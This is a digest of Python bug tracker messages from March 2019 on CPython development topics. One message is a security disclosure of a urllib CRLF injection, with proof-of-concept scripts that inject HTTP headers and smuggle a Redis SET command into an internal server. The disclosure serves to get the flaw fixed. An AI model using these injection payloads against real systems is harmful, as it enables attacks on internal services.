Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552424380.59.0.157163949693.issue36085@roundup.psfhosted.org>


mattip <matti.picus at gmail.com> added the comment:

I have left a note for arigato, but why is CFFI different than ctypes or c-extension modules? All will need adjustment.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 17:07:12 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 12 Mar 2019 21:07:12 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1552424832.36.0.927253859034.issue36256@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

@Xavier different needs; AST and CST are at different stages of compilation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Tue Mar 12 17:12:12 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 21:12:12 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552425132.98.0.80093257374.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

It's different from ctypes because I can update ctypes as part of this change :)

The reason it matters is that it's basically a wrapper around LoadLibrary, and that's what is going to change here. Hopefully we won't cause too much trouble for their users.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 17:17:04 2019
From: report at bugs.python.org (Tim Peters)
Date: Tue, 12 Mar 2019 21:17:04 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552425424.51.0.329910404268.issue36229@roundup.psfhosted.org>


Tim Peters <tim at python.org> added the comment:

I'm at best -0 on this, and on the edge of -1.  We already supply mutate-in-place operations for when this is wanted, and, e.g., for lists, it's as dead easy to spell as

    L1 += L2

Half the point of the hack for string catenation was that the similar-looking

    S1 += S2

did _not_ mutate in place.  But that spelling for lists already does.

Beyond that, is it actually safe for set operations?  Those need to compare elements, so can call into Python code via custom __eq__ implementations, which in turn can do anything, including boosting the number of ways to reach the original inputs (i.e., increase their refcounts).  For that reason I believe it can be visible if, e.g.,

    Set1 = Set1 & Set2

mutates the original set bound to Set1.  The binding via name `Set1` may be the only way to reach the original set before that statement executes, but the process of computing the RHS _may_ create additional references to the original set object.

Even if it doesn't, when element __eq__s are running other threads may run too, and pick up ever-changing values for the set object `Set1` refers to if it's mutated in place.

None of those were potential issues for hacking string catenation (which never calls back into Python code - and holds the GIL - for the duration).

----------
nosy: +tim.peters

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Tue Mar 12 17:25:47 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 21:25:47 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552425947.14.0.347753094842.issue36216@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Hah, I typo'd the commit message and marked it as 3.7 instead of 2.7. Oh well.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Tue Mar 12 18:02:27 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 12 Mar 2019 22:02:27 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552428147.47.0.841943126177.issue30040@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Some of my thoughts on this.

Conceptually, I expected that clearing a normal dict should make it an empty normal dict.  I presume that making it instead an empty shared key dict is a matter of efficiency and code simplicity.  If the 'anomaly' is to be corrected, changing .clear would be an alternative.

The fact that this patch 'rescues' people who use .setdefault when collections.defaultdict would be better does not especially persuade me (msg291817).  The dict method doc and docstring could refer to defaultdict for such situations.

In 3.8.0a2, empty sets, like empty dicts, are ready to add. Empty lists in a2 are *not*, so pre-allocation is not universal in CPython for mutable collections.

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 18:14:15 2019
From: report at bugs.python.org (Caleb Donovick)
Date: Tue, 12 Mar 2019 22:14:15 +0000
Subject: [issue17421] Drop restriction that meta.__prepare__() must return a
 dict (subclass)
In-Reply-To: <1363292427.77.0.787480674647.issue17421@psf.upfronthosting.co.za>
Message-ID: <1552428855.53.0.765668279361.issue17421@roundup.psfhosted.org>


Change by Caleb Donovick <donovick at cs.stanford.edu>:


----------
nosy: +donovick

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17421>
_______________________________________

From report at bugs.python.org  Tue Mar 12 18:15:29 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 22:15:29 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552428929.1.0.396466709361.issue36264@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 8ef864d50fb847cf15d5717c0db04fd60fb13d8d by Steve Dower in branch 'master':
bpo-36264: Updates documentation for change to expanduser on Windows (GH-12294)
https://github.com/python/cpython/commit/8ef864d50fb847cf15d5717c0db04fd60fb13d8d


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 18:16:16 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 22:16:16 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552428976.89.0.747385694893.issue36264@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 18:17:10 2019
From: report at bugs.python.org (Caleb Donovick)
Date: Tue, 12 Mar 2019 22:17:10 +0000
Subject: [issue17421] Drop restriction that meta.__prepare__() must return a
 dict (subclass)
In-Reply-To: <1363292427.77.0.787480674647.issue17421@psf.upfronthosting.co.za>
Message-ID: <1552429030.51.0.333636348148.issue17421@roundup.psfhosted.org>


Caleb Donovick <donovick at cs.stanford.edu> added the comment:

In my mind this seems like a bug. PEP 3115 states:
'''
__prepare__ returns a dictionary-like object which is used to store the class member definitions during evaluation of the class body. In other words, the class body is evaluated as a function block (just like it is now), except that the local variables dictionary is replaced by the dictionary returned from __prepare__. This dictionary object can be a regular dictionary or a custom mapping type.
'''

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17421>
_______________________________________

From report at bugs.python.org  Tue Mar 12 18:33:11 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 12 Mar 2019 22:33:11 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552429991.26.0.452477951993.issue35661@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
pull_requests: +12274
stage: resolved -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 18:41:19 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 12 Mar 2019 22:41:19 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552430479.0.0.76744764713.issue35661@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Steve, thanks for the suggestions.  

Looking at the other tests, `test_prompt` was the only one (prior to the original change) that didn't create a venv, so maybe actually creating the venv instead of just instantiating the class were testing that everything worked together?  For example, see `test_isolation` and `test_symlinking`.  

I've added the code to explicitly remove the directory and I also slightly reorganized the create.  Not all the tests use the `run_with_capture`, but at the same time, none of the ones that use it do anything with the output, so I thought it wouldn't hurt to add it.

I tried to submit the tests just to the buildbots based on the devguide, but they were failing for other reasons, so I made the PR.  I don't think we'll know if this fixes the bots until the PR is merged, but if one of you could take a look and approve it, I'd appreciate it.  And then I'll keep my fingers crossed.   :-)

----------
assignee: cheryl.sabella -> brett.cannon
stage: patch review -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 19:02:17 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 12 Mar 2019 23:02:17 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1552419963.97.0.403614037449.issue30040@roundup.psfhosted.org>
Message-ID: <CAEfz+Tw2LNny=GNgZ9wgOHiV1KOC-gfy-5KiprFKwG1us-yt8Q@mail.gmail.com>


Inada Naoki <songofacandy at gmail.com> added the comment:

On Wed, Mar 13, 2019 at 4:46 AM Raymond Hettinger
<report at bugs.python.org> wrote:
>
> Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:
>
> I hate to see you working so hard to make this work.  IMO, the effort is futile.  Dicts were intentionally designed to do a single memory allocation and memset(0) to be fully ready to store data.  This PR is undoing that decision and will make Python worse rather than better.

Please that this PR is not do it.  From Python 3.6, dict uses two
allocations.  No embedded small table.
This PR just move 2nd allocation from dict creation to first insertion.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 19:18:33 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 23:18:33 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552432713.91.0.984760816286.issue35661@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

The PR looks good to me.

Are you able to test this test running from in a venv? I'm not at all clear why it would work there when the others fail (there's another issue looking at this, since it's only Linux that doesn't support venv-in-venv, but the tests are mostly all skipped anyway)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 19:19:46 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 23:19:46 +0000
Subject: [issue36174] Remove licenseUrl field from nuget packages
In-Reply-To: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>
Message-ID: <1552432786.56.0.708891203171.issue36174@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
keywords: +patch
pull_requests: +12275
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Tue Mar 12 19:48:19 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 23:48:19 +0000
Subject: [issue36174] Remove licenseUrl field from nuget packages
In-Reply-To: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>
Message-ID: <1552434499.92.0.133010644971.issue36174@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 26c910c59c47bdef4220c34e66c45a625bda5e56 by Steve Dower in branch 'master':
bpo-36174: Update nuget authoring for new license field. (GH-12300)
https://github.com/python/cpython/commit/26c910c59c47bdef4220c34e66c45a625bda5e56


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Tue Mar 12 19:48:40 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 12 Mar 2019 23:48:40 +0000
Subject: [issue36174] Remove licenseUrl field from nuget packages
In-Reply-To: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>
Message-ID: <1552434520.87.0.922202321355.issue36174@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12276

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Tue Mar 12 20:05:49 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 13 Mar 2019 00:05:49 +0000
Subject: [issue36275] DOC: venv.create doesn't include prompt parameter
Message-ID: <1552435549.43.0.602415941786.issue36275@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In the documentation for the `venv` module, there is a module-level convenience function for `create` which is missing the `prompt` parameter and the version added directive.

venv.create(env_dir, system_site_packages=False, clear=False, symlinks=False, with_pip=False)

Assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337819
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: venv.create doesn't include prompt parameter
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36275>
_______________________________________

From report at bugs.python.org  Tue Mar 12 20:06:49 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 13 Mar 2019 00:06:49 +0000
Subject: [issue36174] Remove licenseUrl field from nuget packages
In-Reply-To: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>
Message-ID: <1552435609.21.0.634218738321.issue36174@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I'll do the 2.7 backport later (hopefully tomorrow, maybe?). Need to spin up my build machine for it.

We currently don't include the license directly in the 2.7 nuget packages, so there's a slightly bigger chance required (hopefully only a line or two, but it needs testing).

----------
assignee:  -> steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Tue Mar 12 20:11:13 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 13 Mar 2019 00:11:13 +0000
Subject: [issue36174] Remove licenseUrl field from nuget packages
In-Reply-To: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>
Message-ID: <1552435873.87.0.577373348803.issue36174@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset ada2e379738bc0eca6ec030a4a573aa7b98faf78 by Miss Islington (bot) in branch '3.7':
bpo-36174: Update nuget authoring for new license field. (GH-12300)
https://github.com/python/cpython/commit/ada2e379738bc0eca6ec030a4a573aa7b98faf78


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Tue Mar 12 20:14:33 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 13 Mar 2019 00:14:33 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552436073.07.0.0803833998373.issue35661@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Thanks Steve.

The venv tests run for me from inside a venv on Windows 10 from a command prompt.  From Powershell, all the tests fail with the following when run from inside a venv:
FileNotFoundError: [Errno 2] No such file or directory: 'N:\\projects\\cpython\\lib\\venv\\scripts\\nt\\python.exe'

I haven't tried on linux.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 20:15:15 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 13 Mar 2019 00:15:15 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552436115.82.0.535480897159.issue36085@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
keywords: +patch
pull_requests: +12277
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 20:15:49 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 13 Mar 2019 00:15:49 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552436149.79.0.529016420738.issue35661@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:


New changeset 839b925f6347222de560cdb767924c502b4039aa by Cheryl Sabella in branch 'master':
bpo-35661: Fix failing test on buildbot (GH-12297)
https://github.com/python/cpython/commit/839b925f6347222de560cdb767924c502b4039aa


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 20:16:18 2019
From: report at bugs.python.org (Dylan Cali)
Date: Wed, 13 Mar 2019 00:16:18 +0000
Subject: [issue35132] python-gdb error: Python Exception <class
 'RuntimeError'> Type does not have a target
In-Reply-To: <1541068819.38.0.788709270274.issue35132@psf.upfronthosting.co.za>
Message-ID: <1552436178.94.0.391524267303.issue35132@roundup.psfhosted.org>


Dylan Cali <calid1984 at gmail.com> added the comment:

Thank you!  And thank you Lisa Roach for the investigation and fix.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35132>
_______________________________________

From report at bugs.python.org  Tue Mar 12 20:18:52 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 13 Mar 2019 00:18:52 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552436332.88.0.629756157325.issue35661@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Yeah, that failure on Windows is due to not correctly detecting a venv made from a build tree, rather than a venv from a proper install. I have a fix for that in the other bug. If it got that far, it means it used the correct prefix path, so it'll be fine.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 20:21:10 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 13 Mar 2019 00:21:10 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552436470.39.0.464201884911.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

PR has been posted, but it's incomplete (docs, news, etc.)

And unfortunately longer than I'd hoped, since we have to use GetProcAddress for these function on Windows 7 still (even if it has the required update), but since it's coming from kernel32 (which is always loaded) and these are going to be rare calls I'm not too concerned. Still, as soon as we drop Win7, it'll be nice to clean these up.

I ended up making the functions public as os.add_dll_directory and os.remove_dll_directory. The return value is using a capsule (which is needed because it's an opaque pointer that you use to remove the directory later), and honestly I don't think it matters enough to give it its own type. Given the choice between making the functions private (and requiring "import nt; nt._add_dll_directory()") vs. implementing a whole type for one opaque value, I'll make the functions private :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 21:21:31 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 13 Mar 2019 01:21:31 +0000
Subject: [issue36157] Document PyInterpreterState_Main().
In-Reply-To: <1551458200.72.0.727788487318.issue36157@roundup.psfhosted.org>
Message-ID: <1552440091.17.0.333641337778.issue36157@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
stage: needs patch -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36157>
_______________________________________

From report at bugs.python.org  Tue Mar 12 21:26:51 2019
From: report at bugs.python.org (ragdoll)
Date: Wed, 13 Mar 2019 01:26:51 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
Message-ID: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>


New submission from ragdoll <ragdoll.guo at gmail.com>:

Abstract:
A CRLF injection vulnerability of Python built-in urllib module (?urllib2? in 2.x??urllib? in 3.x) was found by our team. Attacker who has the control of the requesting address parameter, could exploit this vulnerability to manipulate a HTTP header and attack an internal service, like a normal Webserver, Memcached, Redis and so on.

Principles:
The current implementation of urllib does not encode the ?\r\n? sequence in the query string, which allowed the attacker to manipulate a HTTP header with the ?\r\n? sequence in it, so the attacker could insert arbitrary content to the new line of the HTTP header. 

Proof of Concept:
Consider the following Python3 script:

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
#end

In this script, the host parameter usually could be controlled by user, and the content of host above is exactly the payload. We setup a server using nc to open a 7777 port and to receive and display the HTTP request data from client , then run the code above on a client to sent a HTTP request to the server.

# nc -l -p 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Accept-Encoding: identity
Host: 10.251.0.83:7777
User-Agent: Python-urllib/3.7
Connection: close


#end
As you can see in the picture above , the nc server displayed the HTTP request with a manipulated header content:? X-injected:header?, which means we successfully injected the HTTP header. In order to make the injected header available, we have to add an extra ?\r\n? after the new header, so we add another parameter to contain the original parameter data, like ?TEST? in above sample.

Attack Scenarios
1. By crafting HTTP headers, it?s possible to fool some web services;
2. It?s also possible to attack several simple services like Redis, memcached.
Let?s take Redis as a example here:
Adapt the script above to this:
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:6379?\r\nSET test success\r\n"
url = "http://" + host + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
#end
We changed the injected header to a valid redis command, after executing this, we check the redis server:
127.0.0.1:6379> GET test
"success"
127.0.0.1:6379> 
We can see that a ?test? key was inserted successfully.

Conclusion:
The implementation of parameter handling of urllib is vulnerable, which allows attacker to manipulate the HTTP header. Attacker who has ability to take control of the requesting address parameter of this library, could exploit this vulnerability to manipulate a HTTP header and attack an internal host like a normal Webserver, Memcached, Redis and so on.

----------
components: Library (Lib)
files: python-urllib-CRLF-injection-vulnerability.pdf
messages: 337827
nosy: ragdoll.guo
priority: normal
severity: normal
status: open
title: Python urllib CRLF injection vulnerability
type: security
versions: Python 2.7, Python 3.7, Python 3.8
Added file: https://bugs.python.org/file48206/python-urllib-CRLF-injection-vulnerability.pdf

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Tue Mar 12 21:41:37 2019
From: report at bugs.python.org (Antony Lee)
Date: Wed, 13 Mar 2019 01:41:37 +0000
Subject: [issue36277] pdb's recursive debug command is not listed in the docs
Message-ID: <1552441297.14.0.332408963845.issue36277@roundup.psfhosted.org>


New submission from Antony Lee <anntzer.lee at gmail.com>:

pdb's recursive debug command (mentioned e.g. in https://bugs.python.org/issue35931) is not listed in https://docs.python.org/3/library/pdb.html#debugger-commands.
(I haven't checked whether any other command is missing.)

----------
assignee: docs at python
components: Documentation
messages: 337828
nosy: Antony.Lee, docs at python
priority: normal
severity: normal
status: open
title: pdb's recursive debug command is not listed in the docs

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36277>
_______________________________________

From report at bugs.python.org  Tue Mar 12 22:19:43 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 13 Mar 2019 02:19:43 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1552443583.61.0.923564003881.issue36276@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

See also https://bugs.python.org/issue30458#msg295067

----------
nosy: +martin.panter, orsenthil, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Tue Mar 12 22:33:34 2019
From: report at bugs.python.org (Cavad Salmanov)
Date: Wed, 13 Mar 2019 02:33:34 +0000
Subject: [issue36278] Truncate method
Message-ID: <1552444414.13.0.113596539845.issue36278@roundup.psfhosted.org>


New submission from Cavad Salmanov <cavad2013 at gmail.com>:

I created a new file for researching truncate() method. and I writed  this text:
alma
armud
heyva
nar
qarpiz
yemis

I wanted to delete all the text apart from first line by truncate method.

I writed these codes on python idle:
__________________________________________
#First, I read text for showing it's content
>>> dosya = open('deneme.txt','r')
>>> dosya.read()
'alma\narmud\nheyva\nnar\nqarpiz\nyemis'
>>> dosya.close()


#Then writing codes for operation which I wanted
>>> dosya = open('deneme.txt','r+')
>>> dosya.readline()
'alma\n'
>>> dosya.tell()
6
>>> dosya.truncate()
38
>>> dosya.seek(0)
0
>>> dosya.read()
'alma\narmud\nheyva\nnar\nqarpiz\nyemis'
>>> dosya.close()
#I thought I must closed the file, then read again:


#Then I saw nothing has changed
>>> dosya = open('deneme.txt','r')
>>> dosya.read()
'alma\narmud\nheyva\nnar\nqarpiz\nyemis'
>>> dosya.close()

#But when I writed codes in this way, it is worked
>>> dosya = open('deneme.txt','r+')
>>> dosya.readline()
'alma\n'
>>> dosya.tell()
6
>>> dosya.seek(6)
6
>>> dosya.truncate()
6
>>> dosya.close()
>>> dosya = open('deneme.txt','r')
>>> dosya.read()
'alma\n'

# I was on 6th byte in both. But it is worked which I used seek() #method. I think both of them were returnden same things

----------
messages: 337830
nosy: Cavad Salmanov
priority: normal
severity: normal
status: open
title: Truncate method
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36278>
_______________________________________

From report at bugs.python.org  Tue Mar 12 22:53:11 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 13 Mar 2019 02:53:11 +0000
Subject: [issue36278] Truncate method
In-Reply-To: <1552444414.13.0.113596539845.issue36278@roundup.psfhosted.org>
Message-ID: <1552445591.82.0.926976798004.issue36278@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

This looks like a similar report to issue26158 where truncate refers to the position of the underlying buffer and could be documented better.

----------
nosy: +serhiy.storchaka, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36278>
_______________________________________

From report at bugs.python.org  Tue Mar 12 23:27:26 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 13 Mar 2019 03:27:26 +0000
Subject: [issue36252] update to Unicode 12
In-Reply-To: <1552174088.7.0.771249971447.issue36252@roundup.psfhosted.org>
Message-ID: <1552447646.05.0.64369299501.issue36252@roundup.psfhosted.org>


Benjamin Peterson <benjamin at python.org> added the comment:

msg318935 is still true.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36252>
_______________________________________

From report at bugs.python.org  Tue Mar 12 23:27:40 2019
From: report at bugs.python.org (David Wilson)
Date: Wed, 13 Mar 2019 03:27:40 +0000
Subject: [issue36279] os.wait3() leaks some uninitialized stack when no
 processes exist
Message-ID: <1552447660.04.0.72531550499.issue36279@roundup.psfhosted.org>


New submission from David Wilson <dw at botanicus.net>:

Not sure if this is worth reporting..

p = os.popen('sleep 1234')
os.wait3(os.WNOHANG)
os.wait3(os.WNOHANG)
os.wait3(os.WNOHANG)

Notice struct rusage return value. When wait3() succeeds on Linux, but no child was waiting to be reaped, &ru is not updated by the kernel, therefore it is passed uninitialized back to the user, essentially leaking a little bit of stack memory

----------
messages: 337833
nosy: dw
priority: normal
severity: normal
status: open
title: os.wait3() leaks some uninitialized stack when no processes exist

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36279>
_______________________________________

From report at bugs.python.org  Tue Mar 12 23:41:28 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 13 Mar 2019 03:41:28 +0000
Subject: [issue36278] Truncate method
In-Reply-To: <1552444414.13.0.113596539845.issue36278@roundup.psfhosted.org>
Message-ID: <1552448488.18.0.0400055006799.issue36278@roundup.psfhosted.org>


Change by Josh Rosenberg <shadowranger+python at gmail.com>:


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> File truncate() not defaulting to current position as documented

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36278>
_______________________________________

From report at bugs.python.org  Tue Mar 12 23:50:12 2019
From: report at bugs.python.org (Senthil Kumaran)
Date: Wed, 13 Mar 2019 03:50:12 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552449012.37.0.613417567218.issue35647@roundup.psfhosted.org>


Change by Senthil Kumaran <senthil at uthcode.com>:


----------
assignee:  -> larry

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Tue Mar 12 23:52:05 2019
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 13 Mar 2019 03:52:05 +0000
Subject: [issue36279] os.wait3() leaks some uninitialized stack when no
 processes exist
In-Reply-To: <1552447660.04.0.72531550499.issue36279@roundup.psfhosted.org>
